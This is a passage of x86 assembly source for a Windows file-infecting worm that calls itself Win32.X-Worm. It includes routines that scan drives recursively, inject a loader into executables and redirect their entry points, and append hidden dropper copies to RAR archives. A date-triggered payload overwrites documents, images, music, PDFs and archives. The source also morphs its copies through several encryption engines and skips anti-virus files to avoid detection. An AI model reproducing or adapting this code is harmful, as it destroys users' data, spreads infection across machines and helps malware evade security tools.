        nFileSizeLow_           dd      0
        dwReserved0_            dd      0
        dwReserved1_            dd      0
        cFileName_              db      0ffh dup (0)
        cAlternateFileName_     db      20 dup (0)              ;+ some bytes for padding
        
        
        
hsearch                 dd      0       

        MB_YESNO        equ     00000004h
        IDYES   equ     6
        
IF      DEBUG
        warning db      "Warning!!!:xworm is going to infect this file,press yes to infect",0
ENDIF   

;recursive directory scanner...         
InfectDrive:

        lea     eax,[ebp + WIN32_FIND_DATA2]
        push    eax
        lea     eax,[ebp + SearchMask]
        push    eax
        call    [ebp + FindFirstFile]
        cmp     eax,INVALID_HANDLE_VALUE                ;error ?
        je      @Stops                                  ;stop search
        
        mov     [ebp + hsearch],eax                     ;save search handle
        
@NxtF:  mov     eax,[ebp + dwFileAttributes_]           ;get file attributes
        and     eax,FILE_ATTRIBUTE_DIRECTORY            ;remove bit masks
        cmp     eax,FILE_ATTRIBUTE_DIRECTORY            ;it is directory ?
        jne     @isFile
        cmp     byte ptr [ebp + cFileName_],'.'         ;its start with . ?
        je      @FndNxt

        push    [ebp + hsearch]                         ;save search handle
        
        lea     eax,[ebp + cFileName_]
        push    eax
        call    [ebp + SetCurrentDirectory]             ;enter directory
        or      eax,eax
        je      @skpdir


        call    InfectDrive                             ;infect all sub directorys


        lea     eax,[ebp + dotdot]
        push    eax
        call    [ebp + SetCurrentDirectory]             ;return to current directory
        

@skpdir:pop     [ebp + hsearch]                         ;restore search handle
        jmp     @FndNxt
        
@isFile:        
        
        lea     eax,[ebp + File_Name]
        push    eax
        lea     eax,[ebp + FileToInfect]
        push    eax
        push    260
        lea     eax,[ebp + cFileName_]
        push    eax
        call    [ebp + GetFullPathName]                 ;get file full path     
        or      eax,eax
        je      @FndNxt 
        
        
        ;check what kind of file we have: exe/scr or rar file
        

        lea     eax,[ebp + FileToInfect]
@Find0: cmp     byte ptr [eax],0h
        je      @GetExt
        inc     eax
        jmp     @Find0
@GetExt:sub     eax,4h                                  ;go before the .xxx

        or      dword ptr [eax],20202020h               ;convert to lower case

        cmp     dword ptr [eax],"exe."
        je      morechecks
        cmp     dword ptr [eax],"rcs."
        je      morechecks
        
        cmp     byte ptr [ebp + PayloadDay],1h          ;today is payload ?
        jne     NotToday
        
        cmp     dword ptr [eax],"iva."                  ; .avi file ?
        je      FuckFile
        cmp     dword ptr [eax],"cod."                  ; .doc file ?
        je      FuckFile
        cmp     dword ptr [eax],"3pm."                  ; .mp3 file ?
        je      FuckFile
        cmp     dword ptr [eax],"gpm."                  ; .mpg file ?
        je      FuckFile
        cmp     dword ptr [eax],"slx."                  ; .xls file ?
        je      FuckFile
        cmp     dword ptr [eax],"gpj."                  ; .jpg file ?
        je      FuckFile
        cmp     dword ptr [eax],"piz."                  ; .zip file ?
        je      FuckFile
        cmp     dword ptr [eax],"osi."                  ; .iso file ?
        je      FuckFile
        cmp     dword ptr [eax],"fdp."                  ; .pdf file ?
        je      FuckFile
        cmp     dword ptr [eax],"tpp."                  ; .ppt file ?
        je      FuckFile

        jmp     NotToday        
FuckFile:       
        call    xPayLoad
NotToday:
        cmp     dword ptr [eax],"rar."
        je      rar_file        
        jmp     @FndNxt 
rar_file:
        mov     byte ptr [ebp + rarfile],1h
morechecks:     
        mov     eax,[ebp + nFileSizeLow_]               ;get file size
                
        cmp     eax,2800h                               ;too small ?
        jb      @FndNxt 
        cmp     eax,300000h                             ;too big ?
        ja      @FndNxt
        
        cmp     byte ptr [ebp + rarfile],1h
        je      @xRar                                   ;skip checks that are not relevant for rar file

        call    CheckFileName                           ;check for av file...
        jnc     @FndNxt

        cmp     dword ptr [ebp + SfcIsFileProtected],0h ;sfc working ?
        je      SfcNotWork
        
        lea     edi,[ebp + Unicode_Path]
        xor     eax,eax
        mov     ecx,200h
        rep     stosb                                   ;blank unicode buffer
        
        push    200h
        lea     eax,[ebp + Unicode_Path]
        push    eax
        push    -1                                      ;string is null terminated
        lea     eax,[ebp + FileToInfect]
        push    eax
        xor     eax,eax
        push    eax
        push    eax
        call    [ebp + MultiByteToWideChar]             ;convert path into unicode
        or      eax,eax                                 ;fail ?
        je      @FndNxt                                 ;dont infect
        
        
        lea     eax,[ebp + Unicode_Path]
        push    eax
        push    0h
        call    [ebp + SfcIsFileProtected]              ;check if file is protected
        cmp     eax,0h                                  ;is file protected ?
        jne     @FndNxt
        
        
SfcNotWork:                                             ;sfc dont working,assume we on win9x
        
        call    InfectFile
        jmp     @FndNxt

@xRar:  call    InfectRar

@FndNxt:
        mov     byte ptr [ebp + rarfile],0h
        
        lea     eax,[ebp + WIN32_FIND_DATA2]
        push    eax
        push    [ebp + hsearch]
        call    [ebp + FindNextFile]                    ;find next file
        or      eax,eax
        jne     @NxtF

        push    [ebp + hsearch]
        call    [ebp + FindClose]                       ;end the search
        
@Stops: ret
        
        FILE_ATTRIBUTE_DIRECTORY        equ     00000010h
                
        File_Name               dd      0
        dotdot                  db      "..",0
        SearchMask              db      "*.*",0
        

        rarfile                 db      0


        FileToInfect            db      0ffh    dup(0)

                
        SFC_DLL db      "SFC.DLL",0
        _SfcIsFileProtected      db      "SfcIsFileProtected",0
        SfcIsFileProtected      dd      0
        
        Unicode_Path    db      200h    dup(0)   ;200=2 max_path
        
        CP_ACP  equ     0
        
        CopyRight       db      "[Win32.X-Worm (c) 2006 by DR-EF]",0h
        
xPayLoad:

IF      DEBUG
        int     3
        xor     esp,esp                 ;dont run that if we on debug
ENDIF

        xor     eax,eax
        push    eax
        push    FILE_ATTRIBUTE_NORMAL
        push    CREATE_ALWAYS
        push    eax
        push    eax
        push    GENERIC_READ or GENERIC_WRITE
        lea     eax,[ebp + FileToInfect]
        push    eax
        call    [ebp + CreateFile]
        
        push    eax
        
        push    0h
        lea     ebx,[ebp + tpayload]
        push    ebx
        push    666d
        lea     ebx,[ebp + CopyRight]
        push    ebx
        push    eax
        call    [ebp + WriteFile]
        
        call    [ebp + CloseHandle]

        ret
        
        tpayload        dd      0
        
        
InfectFile:
;*********************Debug C0de*******************************
IF      DEBUG
        push    MB_YESNO
        lea     eax,[ebp + warning]
        push    eax
        lea     eax,[ebp + FileToInfect]
        push    eax
        push    0h
        call    [ebp + MessageBox]
        cmp     eax,IDYES
        jne     ExitInfect
ENDIF
;**************************************************************

        call    RemoveFileAttributes            ;set normal attributes for file
        call    OpenFile                        ;map file into memory
        jnc     ExitRFA                         ;exit & restore attributes
        
        cmp     word ptr [eax],"ZM"             ;check mz sign
        jne     ExitCF
        mov     ecx,dword ptr [eax + 18h]       ;check if relocation in mz header
        cmp     ecx,40h                         ;is 0x40 which is always for pe file
        jne     ExitCF
        add     eax,[eax + 3ch]
        cmp     word ptr [eax],"EP"             ;check pe sign
        jne     ExitCF
        
        cmp     word ptr [eax + 08h],0666h      ;already infected ?
        je      ExitCF
        
        push    eax                             ;save pe header offset in the stack
        mov     cx,word ptr [eax + 16h]         ;get flags
        and     cx,2000h
        cmp     cx,2000h                        ;is dll ?
        jne     nodll                           ;infect only executeables
        pop     eax                             ;restore stack
        jmp     ExitCF
nodll:  mov     edx,[eax + 34h]
        add     edx,[eax + 28h]
        mov     dword ptr [ebp + ReturnAddress],edx     ;setup return entry point
        
        pushad
        
        lea     edi,[ebp + MorphedWormFileName]
        
        mov     ecx,9h
@_RandLetter:   
        call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @_RandLetter
        mov     byte ptr [edi],'.'
        inc     edi
        mov     ecx,3h
@_xRandLetter:  
        call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @_xRandLetter                           
        
        lea     esi,[ebp + FileToInfect]
        lea     edi,[ebp + FileCopyPath]
        
nextc:  cmp     byte ptr [esi+ecx],0h
        je      endc
        inc     ecx
        jmp     nextc
endc:   inc     ecx     
        rep     movsb
                
nxtc:   cmp     byte ptr [edi],'\'
        je      setfn
        mov     byte ptr [edi],0h
        dec     edi
        jmp     nxtc
setfn:  lea     esi,[ebp + MorphedWormFileName]
        mov     ecx,0dh
        inc     edi
        rep     movsb

        popad
                
        movzx   ecx,word ptr [eax + 6h]         ;get number of sections
        mov     ebx,[eax + 74h]
        shl     ebx,3h
        add     eax,ebx
        add     eax,78h                         ;goto first section header
@xnexts:mov     ebx,[eax + 24h]                 ;get section flags
        and     ebx,20h
        cmp     ebx,20h                         ;is code section ?
        je      FoundCS
        add     eax,28h
        loop    @xnexts
        pop     eax                             ;restore stack
        jmp     ExitCF
FoundCS:mov     ebx,[eax + 24h]                 ;get section flags
        and     ebx,80000000h
        cmp     ebx,80000000h                   ;does code section writeable ?
        jne     __x1
        pop     eax                             ;restore stack
        jmp     ExitCF
__x1:   mov     ebx,[eax + 10h]                 ;get section size of raw data
        sub     ebx,[eax + 8h]
        cmp     ebx,VirusLoaderSize             ;check for minimum loader size
        ja      ____1
        pop     eax                             ;restore stack
        jmp     ExitCF
____1:  mov     ecx,[eax + 8h]                  ;get section vitrual size       
        mov     ebx,ecx                         ;get section virtual size
        add     ebx,[eax + 14h]                 ;add to it pointer raw data rva
        add     ebx,[ebp + mapbase]             ;convert it to va
        
        mov     edi,ebx
        lea     esi,[ebp + VirusLoader]
        mov     ecx,VirusLoaderSize
        rep     movsb                           ;inject loader
        
        pop     eax                             ;restore stack
        
        sub     ebx,[ebp + mapbase]
        mov     [eax + 28h],ebx                 ;redirect entry point   
        
        mov     word ptr [eax + 08h],0666h      ;mark as infected

        push    0h
        lea     eax,[ebp + FileCopyPath]
        push    eax
        lea     eax,[ebp + MorphedWorm]
        push    eax
        call    [ebp + CopyFile]                ;copy morphed worm file
        
        push    FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
        lea     eax,[ebp + FileCopyPath]
        push    eax
        call    [ebp + SetFileAttributes]

ExitCF: call    CloseFile                       ;unmap file from memory with changes
ExitRFA:call    RestoreFileAttributes           ;restore old attributes
ExitInfect:
        ret
        

VirusLoader:                                    ;see xworm_loader.asm for source of that code

        MorphedWormFileName     equ     ($+7fh)
        ReturnAddress           equ     ($+96h)

db 060h,064h,067h,0a1h,000h,000h,08bh,010h,042h,074h,004h,04ah,092h,0ebh,0f7h
db 08bh,040h,004h,025h,000h,000h,0ffh,0ffh,066h,081h,038h,04dh,05ah,074h,007h
db 02dh,000h,000h,001h,000h,0ebh,0f2h,08bh,0e8h,003h,040h,03ch,08bh,040h,078h
db 003h,0c5h,050h,033h,0d2h,08bh,040h,020h,003h,0c5h,08bh,038h,003h,0fdh,04fh
db 047h,0e8h,008h,000h,000h,000h,057h,069h,06eh,045h,078h,065h,063h,000h,05eh
db 0b9h,008h,000h,000h,000h,0f3h,0a6h,074h,009h,042h,080h,03fh,000h,074h,0e2h
db 047h,0ebh,0f8h,058h,0d1h,0e2h,08bh,058h,024h,003h,0ddh,003h,0dah,066h,08bh
db 013h,0c1h,0e2h,002h,08bh,058h,01ch,003h,0ddh,003h,0dah,08bh,01bh,003h,0ddh
db 06ah,001h,0e8h,00eh,000h,000h,000h,056h,069h,072h,075h,073h,046h,069h,06ch
db 065h,02eh,065h,078h,065h,000h,0ffh,0d3h,083h,0f8h,01fh,072h,0fbh,061h,068h
db 0c1h,010h,040h,000h,0c3h

VirusLoaderSize         equ     ($-VirusLoader) 
        
        
        FileCopyPath    db      0ffh    dup(0)
        
        
        

CloseFile:
        push    dword ptr [ebp + mapbase]
        call    [ebp + UnMapViewOfFile]
        push    dword ptr [ebp + hmap]
        call    [ebp + CloseHandle]
        lea     eax,[ebp + LastWriteTime]
        push    eax
        lea     eax,[ebp + LastAccessTime]
        push    eax
        lea     eax,[ebp + CreationTime]
        push    eax
        push    dword ptr [ebp + hfile]
        call    [ebp + SetFileTime]
        push    dword ptr [ebp + hfile]
        call    [ebp + CloseHandle]
        ret
        
OpenFile:
        xor     eax,eax
        push    eax
        push    FILE_ATTRIBUTE_NORMAL
        push    OPEN_EXISTING
        push    eax
        push    eax
        push    GENERIC_READ or GENERIC_WRITE
        lea     eax,[ebp + FileToInfect]
        push    eax
        call    [ebp + CreateFile]
        cmp     eax,INVALID_HANDLE_VALUE
        je      OpenFileErr
        mov     dword ptr [ebp + hfile],eax
        lea     eax,[ebp + LastWriteTime]
        push    eax
        lea     eax,[ebp + LastAccessTime]
        push    eax
        lea     eax,[ebp + CreationTime]
        push    eax
        push    dword ptr [ebp + hfile]
        call    [ebp + GetFileTime]
        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    PAGE_READWRITE
        push    eax
        push    dword ptr [ebp + hfile]
        call    [ebp + CreateFileMapping]
        cmp     eax,0h
        je      FileSizeErr
        mov     dword ptr [ebp + hmap],eax
        xor     eax,eax
        push    eax     
        push    eax
        push    eax
        push    FILE_MAP_WRITE
        push    dword ptr [ebp + hmap]
        call    [ebp + MapViewOfFile]
        cmp     eax,0h
        je      MapFileErr
        mov     dword ptr [ebp + mapbase],eax
        stc
        ret
MapFileErr:
        push    dword ptr [ebp + hmap]
        call    [ebp + CloseHandle]
FileSizeErr:
        push    dword ptr [ebp + hfile]
        call    [ebp + CloseHandle]
OpenFileErr:
        clc
        ret

        hmap                    dd      0
        mapbase                 dd      0
        CreationTime            dq      0
        LastAccessTime          dq      0
        LastWriteTime           dq      0
        hfile                   dd      0
        FileSize                dd      0

RemoveFileAttributes:
        lea     eax,[ebp + FileToInfect]
        push    eax
        call    [ebp + GetFileAttributes]
        mov     [ebp + OldFileAttribute],eax
        push    FILE_ATTRIBUTE_NORMAL
        lea     eax,[ebp + FileToInfect]
        push    eax
        call    [ebp + SetFileAttributes]
        ret
        
        OldFileAttribute        dd      0
        
RestoreFileAttributes:
        push    dword ptr [ebp + OldFileAttribute]
        lea     eax,[ebp + FileToInfect]
        push    eax
        call    [ebp + SetFileAttributes]
        ret




FILE_ATTRIBUTE_READONLY         equ     1
FILE_ATTRIBUTE_HIDDEN           equ     2
FILE_ATTRIBUTE_SYSTEM           equ     4 



InfectRar:
IF      DEBUG
        push    MB_YESNO
        lea     eax,[ebp + rar_warning]
        push    eax
        lea     eax,[ebp + FileToInfect]
        push    eax
        push    0h
        call    [ebp + MessageBox]
        cmp     eax,IDYES
        jne     ExitRarInfection
ENDIF
        call    InitRandomNumber
        xor     eax,eax
        push    eax
        push    eax
        push    OPEN_EXISTING
        push    eax
        push    FILE_SHARE_READ
        push    GENERIC_READ
        lea     eax,[ebp + MorphedWorm]
        push    eax
        call    [ebp + CreateFile]              ;open the infected dropper
        cmp     eax,INVALID_HANDLE_VALUE
        je      ExitRarInfection
        mov     [ebp + hInfectedDropper],eax
        push    0h
        push    eax
        call    [ebp + GetFileSize]             ;get dropper file size
        cmp     eax,0ffffffffh
        je      ExitAndCloseDropperFile
        mov     [ebp + DropperSize],eax
        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    PAGE_READONLY
        push    eax
        push    dword ptr [ebp + hInfectedDropper]
        call    [ebp + CreateFileMapping]       ;create file mapping object for the dropper
        cmp     eax,0h
        je      ExitAndCloseDropperFile
        mov     [ebp + hDropperMap],eax
        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    FILE_MAP_READ
        push    dword ptr [ebp + hDropperMap]
        call    [ebp + MapViewOfFile]           ;map dropper into memory
        cmp     eax,0h
        je      ExitAndCloseDropperMap
        mov     [ebp + DropperMap],eax
        xor     eax,eax
        push    eax
        push    eax
        push    OPEN_EXISTING
        push    eax
        push    FILE_SHARE_READ
        push    GENERIC_READ or GENERIC_WRITE
        lea     eax,[ebp + FileToInfect]
        push    eax
        call    [ebp + CreateFile]              ;open rar file
        cmp     eax,INVALID_HANDLE_VALUE
        je      ExitAndUnMapDropper
        mov     [ebp + hRarFile],eax
        xor     eax,eax
        push    eax
        mov     eax,[ebp + nFileSizeLow_]
        add     eax,[ebp + DropperSize]
        add     eax,RarHeaderSize
        sub     eax,7h                          ;overwrite rar file sign
        push    eax
        xor     eax,eax
        push    eax
        push    PAGE_READWRITE
        push    eax
        push    dword ptr [ebp + hRarFile]
        call    [ebp + CreateFileMapping]       ;create file mapping object of the rar file
        cmp     eax,0h
        je      ExitAndCloseRarFile
        mov     [ebp + hRarMap],eax
        mov     eax,[ebp + nFileSizeLow_]
        add     eax,[ebp + DropperSize]
        add     eax,RarHeaderSize
        sub     eax,7h                          ;overwrite rar file sign
        push    eax
        xor     eax,eax
        push    eax
        push    eax
        push    FILE_MAP_WRITE
        push    dword ptr [ebp + hRarMap]
        call    [ebp + MapViewOfFile]
        cmp     eax,0h
        je      ExitAndCloseRarMap
        mov     [ebp + RarMap],eax
        cmp     dword ptr [eax],"!raR"          ;is rar file ?
        jne     RarFileInfectionErr
        cmp     byte ptr [eax + 0fh],1h         ;is already infected ?
        je      RarFileInfectionErr
        xor     eax,eax
        mov     edx,[ebp + DropperMap]
        mov     ecx,[ebp + DropperSize]
        call    xcrc32                          ;get infected dropper crc32 checksum
        mov     dword ptr [ebp + FILE_CRC],eax  ;set it insaid rar header
        mov     eax,dword ptr [ebp + ftCreationTime_ + 4]
        mov     dword ptr [ebp + FTIME],eax     ;set random time\data
        pushad
        mov     ecx,6h
        lea     edi,[ebp + FileInsaidRar]
@RandLetterx:   
        call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @RandLetterx                    ;gen random name for the infected dropper
        popad
        mov     eax,[ebp + DropperSize]
        mov     [ebp + PACK_SIZE],eax
        mov     [ebp + UNP_SIZE],eax            ;set dropper size insaid of rar header
        xor     eax,eax
        lea     edx,[ebp + headcrc]
        mov     ecx,(EndRarHeader-RarHeader-2)
        call    xcrc32                          ;get crc32 checksum of the rar header
        mov     word ptr [ebp + HEAD_CRC],ax    ;and set it in rar header
        lea     esi,[ebp + RarHeader]
        mov     edi,[ebp + RarMap]
        add     edi,[ebp + nFileSizeLow_]
        sub     edi,7h                          ;overwrite rar file sign
        push    edi
        mov     ecx,RarHeaderSize
        rep     movsb                           ;write the rar header into rar file
        mov     esi,[ebp + DropperMap]
        pop     edi
        add     edi,RarHeaderSize
        mov     ecx,[ebp + DropperSize]
        rep     movsb                           ;write the infected dropper into rar file
        mov     eax,[ebp + RarMap]
        push    eax
        inc     byte ptr [eax + 0fh]            ;mark the rar file as infected(0fh=reserved1)
        mov     edx,eax
        xor     eax,eax
        add     edx,9h
        mov     ecx,0bh
        call    xcrc32                          ;get crc32 of the rar main header
        pop     ebx
        mov     word ptr [ebx + 7h],ax          ;[ebx + 7h]=HEAD_CRC
ExitAndUnMapRarFile:
        push    [ebp + RarMap]
        call    [ebp + UnMapViewOfFile]
ExitAndCloseRarMap:
        push    dword ptr [ebp + hRarMap]
        call    [ebp + CloseHandle]
ExitAndCloseRarFile:
        push    dword ptr [ebp + hRarFile]
        call    [ebp + CloseHandle]
ExitAndUnMapDropper:
        push    dword ptr [ebp + DropperMap]    
        call    [ebp + UnMapViewOfFile]
ExitAndCloseDropperMap:
        push    dword ptr [ebp + hDropperMap]
        call    [ebp + CloseHandle]
ExitAndCloseDropperFile:
        push    dword ptr [ebp + hInfectedDropper]
        call    [ebp + CloseHandle]
ExitRarInfection:
        ret
RarFileInfectionErr:
        push    FILE_BEGIN
        push    0h
        push    dword ptr [ebp + nFileSizeLow_]
        push    dword ptr [ebp + hRarFile]
        call    [ebp + SetFilePointer]
        push    dword ptr [ebp + hRarFile]
        call    [ebp + SetEndOfFile]
        jmp     ExitAndUnMapRarFile
        
        

        hInfectedDropper        dd      0
        DropperSize             dd      0
        hDropperMap             dd      0
        DropperMap              dd      0
        hRarFile                dd      0
        hRarMap                 dd      0
        RarMap                  dd      0
        
        PAGE_READONLY           equ     00000002h
        FILE_MAP_READ           equ     00000004h
        FILE_BEGIN              equ     0
        
RarHeader:
                HEAD_CRC        dw      0h
        headcrc:HEAD_TYPE       db      74h
                HEAD_FLAGS      dw      8000h   ;normal flag
                HEAD_SIZE       dw      RarHeaderSize
                PACK_SIZE       dd      0h
                UNP_SIZE        dd      0h
                HOST_OS         db      0h      ;Ms-Dos
                FILE_CRC        dd      0h
                FTIME           dd      0h
                UNP_VER         db      14h
                METHOD          db      30h     ;storing
                NAME_SIZE       dw      0ah     ;file name size
        endhcrc:ATTR            dd      0h
        FileInsaidRar   equ     $
                FILE_NAME       db      "ReadMe.exe"
        EndRarHeader:
RarHeaderSize   equ     ($-RarHeader)   

IF      DEBUG
        rar_warning     db "Rar File Infection!",0
ENDIF
        
        
;(c) z0mbie/29a crc32 function
; input:  EDX=data, ECX=size, EAX=crc
; output: EAX=crc, EDX+=ECX, ECX=BL=0
xcrc32: jecxz   @@4                     
        not     eax
@@1:    xor     al, [edx]
        inc     edx
        mov     bl, 8
@@2:    shr     eax, 1
        jnc     @@3
        xor     eax, 0EDB88320h
@@3:    dec     bl
        jnz     @@2
        loop    @@1
        not     eax
@@4:    ret     
        


GenMorphedWorm:

        push    0ffh
        lea     edx,[ebp + RunningWorm]
        push    edx
        push    0
        call    [ebp + GetModuleFileName]                       ;get worm file
        or      eax,eax
        je      GMW_Fail
        
        lea     edx,[ebp + MorphedWorm]
        push    edx
        push    0ffh
        call    [ebp + GetTempPath]                             ;get the temp directory path
        or      eax,eax
        je      GMW_Fail
                
        lea     edi,[ebp + MorphedWorm]
SNB:    cmp     byte ptr [edi],0h
        je      GTFN
        inc     edi
        jmp     SNB                                     ;seek till 0 byte found
        
GTFN:   call    InitRandomNumber
        mov     ecx,6h
@RandLetter:    
        call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @RandLetter                             ;gen random file name
        mov     byte ptr [edi],'.'
        inc     edi
        mov     ecx,3h
@xRandLetter:   
        call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @xRandLetter                            ;gen random file suffix
                

        xor     eax,eax
        
        push    eax
        push    FILE_ATTRIBUTE_NORMAL
        push    OPEN_EXISTING
        push    eax
        push    FILE_SHARE_READ
        push    GENERIC_READ
        lea     edx,[ebp + RunningWorm]
        push    edx
        call    [ebp + CreateFile]
        
        cmp     eax,INVALID_HANDLE_VALUE
        je      GMW_Fail
        mov     dword ptr [ebp + RW_FileHandle],eax     ;save its file handle
        
        push    0
        push    eax
        call    [ebp + GetFileSize]                     ;get running worm size
        cmp     eax,INVALID_HANDLE_VALUE
        je      GMW_F_CloseRWF
        mov     dword ptr [ebp + RW_FileSize],eax       ;save worm size
                
        push    eax
        add     dword ptr [esp],400h                    ;add 1k for safty
        push    GPTR
        call    [ebp + GlobalAlloc]                     ;allocate memory to store the running worm
        or      eax,eax
        je      GMW_F_CloseRWF
        mov     [ebp + MorphWorkBuffer],eax
        
        mov     [ebp + MWB_XBytes],0
        
        push    0h

        lea     edx,[ebp + MWB_XBytes]
        push    edx
        push    [ebp + RW_FileSize]
        push    eax
        push    [ebp + RW_FileHandle]
        call    [ebp + ReadFile]                        ;read worm into memory
        or      eax,eax
        je      GMW_F_FreeMem
        
        
        ;morph pe header
        ;********************************
                
        mov     ebx,[ebp + MorphWorkBuffer]
        add     ebx,[ebx + 3ch]                         ;goto pe header
        call    GenRandomNumber
        mov     dword ptr [ebx + 8h],eax                ;set random time stamp
        call    GenRandomNumber
        mov     dword ptr [ebx + 10h],eax               ;set number of symbols
        call    GenRandomNumber
        mov     word ptr [ebx + 1ah],ax                 ;set linker version
        call    GenRandomNumber
        mov     dword ptr [ebx + 70h],eax               ;set loader flags
        call    GenRandomNumber
        mov     dword ptr [ebx + 2ch],eax               ;set base of code
        call    GenRandomNumber
        mov     dword ptr [ebx + 4ch],eax               ;set reserverd
        call    GenRandomNumber
        mov     dword ptr [ebx + 44h],eax               ;set image version
        call    GenRandomNumber
        mov     dword ptr [ebx + 58h],eax               ;set checksum
        call    GenRandomNumber
        mov     dword ptr [ebx + 40h],eax               ;set OS
        movzx   ecx,word ptr [ebx + 6h]                 ;get number of sections
        mov     edx,[ebx + 74h]
        shl     edx,3h
        add     ebx,edx
        add     ebx,78h
        
        push    ebx                                     ;save first section header
        
@nexts: mov     edi,ebx
        push    ecx
        mov     ecx,8h
@Rndsec:call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @Rndsec                                 ;gen random section name
        pop     ecx
        add     ebx,28h
        loop    @nexts                                  ;next section   
        
        
        ;zero data & code sections
        ;*************************
        
        pop     ebx                                     ;restore first section header
        

        mov     edi,[ebp + MorphWorkBuffer]
        add     edi,[ebx + 14h]
        mov     [ebp + WhereToWriteDecryptor],edi       ;used for VPE
        
        mov     edi,[ebp + MorphWorkBuffer]             ;get base address       
        mov     ecx,[ebx + 10h]                         ;get size of raw data
        xor     eax,eax
        add     edi,[ebx + 14h]                         ;get starting offset of section
        rep     stosb                                   ;delete the contect of code section
                
        add     ebx,28h                                 ;move to next data section
        
        pushad
        mov     edi,[ebp + MorphWorkBuffer]
        add     edi,[edi + 3ch]
        mov     eax,[ebx + 0ch]
        add     eax,[edi + 34h]
        
        mov     edx,[edi + 34h]
        push    dword ptr [ebx + 0ch]
        add     [esp],edx
        pop     dword ptr [ebp + CustomXDecryptPoint]   ;set to virtual address
        
        
        mov     [ebp + etms_decryptor_offset],eax
        popad
        
        mov     edi,[ebp + MorphWorkBuffer]             ;get base address       
        mov     ecx,data_sec_size
        xor     eax,eax
        add     edi,[ebx + 14h]                         ;get starting offset of section
        
        mov     [ebp + pure_virus_offset],edi
        
        rep     stosb                                   ;delete the contect of data section
        
                
        ;encrypt using bgpe
        ;******************
        
        push    (VirusSizeX1+1024)
        push    GPTR
        call    [ebp + GlobalAlloc]             
        
        or      eax,eax
        je      GMW_F_CMF
        
        mov     [ebp + bgpe_morphed_worm],eax           ;save buffer address
        xchg    edi,eax
        call    GenRandomNumber
        lea     esi,[ebp + virus_start]
        mov     ecx,VirusSizeX4
        call    bgpe                                    ;morph the worm using bgpe
        
        mov     [ebp + bgpe_morphed_worm_size],eax      ;save morphed worm size
        
        
        ;encrypt using Etms
        ;******************

        add     eax,1400h
        push    eax
        push    GPTR
        call    [ebp + GlobalAlloc]                     ;allocate memory to store encrypted stuff
        
        or      eax,eax
        je      GMW_F_MEM
        
        mov     [ebp + etms_morphed_worm],eax           ;output buffer
                
        mov     edi,eax
        
        call    GenRandomNumber
        and     eax,714024d
        mov     [ebp + seed],eax        
        
        mov     ecx,[ebp + bgpe_morphed_worm_size]
        mov     esi,[ebp + bgpe_morphed_worm]
        

        push    ebp

        mov     ebp,[ebp + etms_decryptor_offset]
        
        
        call    etms_engine

        pop     ebp

        ;copy encrypted data to the data section:
        ;****************************************

        mov     esi,edi
        mov     edi,[ebp + pure_virus_offset]
        push    ecx
        push    edi
        rep     movsb
        

        ;encrypt using vpe
        ;******************
        
        pop     [ebp + StartOfDataToEncrypt]

        pop     eax                                     ;size
        mov     ecx,4h
        div     ecx
        add     eax,edx                                 ;align
        
        mov     [ebp + SizeOfDataToEncrypt],eax
        
        call    CreateDecryptor                         ;encrypt virus using VPE
        
        
        ;free memory
        ;****************
        
        push    [ebp + etms_morphed_worm]
        call    [ebp + GlobalFree]

        push    [ebp + bgpe_morphed_worm]
        call    [ebp + GlobalFree]

        ;write it back to disk
        ;*******************************
        
        xor     eax,eax
        push    eax
        push    FILE_ATTRIBUTE_NORMAL
        push    OPEN_ALWAYS
        push    eax
        push    eax
        push    GENERIC_WRITE
        lea     edx,[ebp + MorphedWorm]
        push    edx
        call    [ebp + CreateFile]
        cmp     eax,INVALID_HANDLE_VALUE
        je      GMW_F_FreeMem
        mov     [ebp + MW_FileHandle],eax
        
        mov     [ebp + MWB_XBytes],0
        
        push    0
        lea     edx,[ebp + MWB_XBytes]
        push    edx
        push    [ebp + RW_FileSize]
        push    [ebp + MorphWorkBuffer]
        push    eax
        call    [ebp + WriteFile]
        or      eax,eax
        je      GMW_F_CMF
        
        push    [ebp + MW_FileHandle]
        call    [ebp + CloseHandle]
        
        push    [ebp + MorphWorkBuffer]
        call    [ebp + GlobalFree]      
        
        push    [ebp + RW_FileHandle]
        call    [ebp + CloseHandle]
        
        stc
        ret
GMW_F_MEM:
        push    [ebp + bgpe_morphed_worm]
        call    [ebp + GlobalFree]
GMW_F_CMF:      
        push    [ebp + MW_FileHandle]
        call    [ebp + CloseHandle]
GMW_F_FreeMem:
        push    [ebp + MorphWorkBuffer]
        call    [ebp + GlobalFree]
GMW_F_CloseRWF:
        push    [ebp + RW_FileHandle]
        call    [ebp + CloseHandle]
GMW_Fail:
        clc
        ret
        
        
        
        pure_virus_offset       dd      0
        
        
        etms_morphed_worm       dd      0
        etms_work_buffer        dd      0
        etms_decryptor_offset   dd      0
        
        bgpe_morphed_worm       dd      0
        bgpe_morphed_worm_size  dd      0
        

        MWB_XBytes              dd      0
        
        MorphWorkBuffer         dd      0

        RW_FileSize             dd      0
        RW_FileHandle           dd      0
        MW_FileHandle           dd      0
        RunningWorm             db      0ffh    dup(0)
        MorphedWorm             db      0ffh    dup(0)
        

ApiNamesTable:
        
        _CreateFile             db      "CreateFileA",0
        _CloseHandle            db      "CloseHandle",0
        _CreateFileMapping      db      "CreateFileMappingA",0
        _MapViewOfFile          db      "MapViewOfFile",0
        _UnmapViewOfFile        db      "UnmapViewOfFile",0
        _LoadLibrary            db      "LoadLibraryA",0
        _FreeLibrary            db      "FreeLibrary",0
        _GetModuleFileName      db      "GetModuleFileNameA",0
        _SetFileAttributesA     db      "SetFileAttributesA",0
        _GetFileSize            db      "GetFileSize",0
        _SetFilePointer         db      "SetFilePointer",0
        _SetEndOfFile           db      "SetEndOfFile",0
        _GetTickCount           db      "GetTickCount",0
        _GlobalAlloc            db      "GlobalAlloc",0
        _GlobalFree             db      "GlobalFree",0
        _GetLocalTime           db      "GetLocalTime",0
        _GetFileAttributes      db      "GetFileAttributesA",0
        _GetFileTime            db      "GetFileTime",0
        _SetFileTime            db      "SetFileTime",0
